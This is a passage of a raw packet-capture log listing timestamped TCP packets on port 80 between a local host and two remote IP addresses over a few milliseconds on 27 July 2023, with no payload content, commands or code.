Jul 27, 2023 18:27:09.820991039 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821014881 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821014881 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821049929 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821050882 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821098089 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821108103 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821122885 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821142912 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821147919 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821172953 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821177959 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821197033 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821197987 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821223021 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821223974 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821248055 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821250916 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821266890 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821275949 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821301937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821310043 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821326971 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821330070 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821352005 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821376085 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821377039 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821400881 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821407080 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821425915 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821433067 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821449995 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821450949 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821476936 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.821477890 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821501970 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821521997 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821521997 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.821527004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821552038 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821577072 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821579933 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821600914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821615934 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821624041 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821649075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821667910 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821674109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821692944 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821698904 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821722984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821747065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821765900 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821770906 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821794987 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821796894 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821821928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821846008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821871042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821875095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821893930 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821894884 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821919918 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821943998 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821968079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821969986 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.821991920 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.821995974 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822017908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822043896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822067976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822074890 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822092056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822094917 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822118044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822141886 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822165966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822169065 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822185993 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822190046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822215080 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822240114 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822264910 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822288036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822292089 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822314024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822329998 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822339058 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822350025 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822364092 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822388887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822413921 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822417021 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822437048 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822438955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822463036 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822488070 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822511911 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822511911 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822529078 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822535992 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822560072 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822585106 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822608948 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822609901 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822629929 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822633028 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822658062 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822679043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.822702885 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822707891 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822726965 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.822726965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822751999 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822766066 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822777033 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822797060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822797060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822803020 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822820902 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822828054 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822844982 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822854042 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822868109 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822880983 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822906017 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822907925 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822931051 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822945118 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822946072 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822956085 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822971106 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.822983027 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.822999954 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823009014 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823024035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823035002 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823060989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823064089 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823080063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823086977 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823101997 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823112011 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823136091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823137045 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823153019 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823163033 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823180914 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823190928 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823204994 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823215961 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823237896 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823241949 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823259115 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823267937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823291063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823295116 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823311090 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823319912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823334932 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823345900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823370934 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823370934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823386908 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823400021 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823415041 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823425055 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823441029 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823451042 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823462963 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823477983 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823502064 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823503971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823515892 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.823527098 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823528051 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823546886 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823554039 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823571920 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823579073 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823595047 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823604107 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823626041 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823627949 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823646069 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823653936 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823669910 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823679924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823697090 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823705912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823724031 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823730946 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823749065 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823780060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823785067 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823822975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823836088 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823847055 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823867083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823872089 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823889017 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823896885 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823913097 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823923111 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823936939 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823950052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823965073 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823975086 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.823991060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.823998928 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824012995 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824024916 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824042082 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824050903 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824065924 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824075937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824093103 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824104071 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824126005 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824129105 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824141979 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824153900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824172020 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824182034 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824196100 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824206114 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824222088 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824232101 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824248075 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.824255943 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824290991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824315071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824338913 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824346066 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824362040 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824387074 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824389935 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824409962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824409962 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824435949 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824459076 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824461937 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824481010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824506044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824510098 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824529886 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824553013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824577093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824579000 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824599028 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824599981 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824624062 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824647903 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824672937 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824673891 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824697018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824700117 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824721098 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824745893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824769974 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824770927 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824790001 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824794054 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824817896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824842930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824866056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824872971 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824889898 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824913979 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824914932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.824932098 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824939013 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824949980 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.824965000 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824989080 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.824999094 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825011969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825032949 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825032949 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825037956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825061083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825084925 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825087070 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825105906 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825109005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825133085 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825158119 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825181007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825185061 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825202942 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825205088 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825227976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.825252056 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825283051 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825285912 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.825308084 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825315952 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825331926 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825340986 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825357914 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825360060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825376987 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825381994 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825397968 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825407028 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825432062 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825432062 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825447083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825455904 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825473070 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825480938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825495958 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825505972 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825529099 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825530052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825546980 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825556040 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825579882 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825597048 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825597048 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825603962 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825623035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825629950 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825645924 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825654984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825669050 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825680971 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825695992 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825706005 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825721979 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825731993 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.825745106 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.825757027 CEST	80	49712	103.100.211.218	192.168.2.4
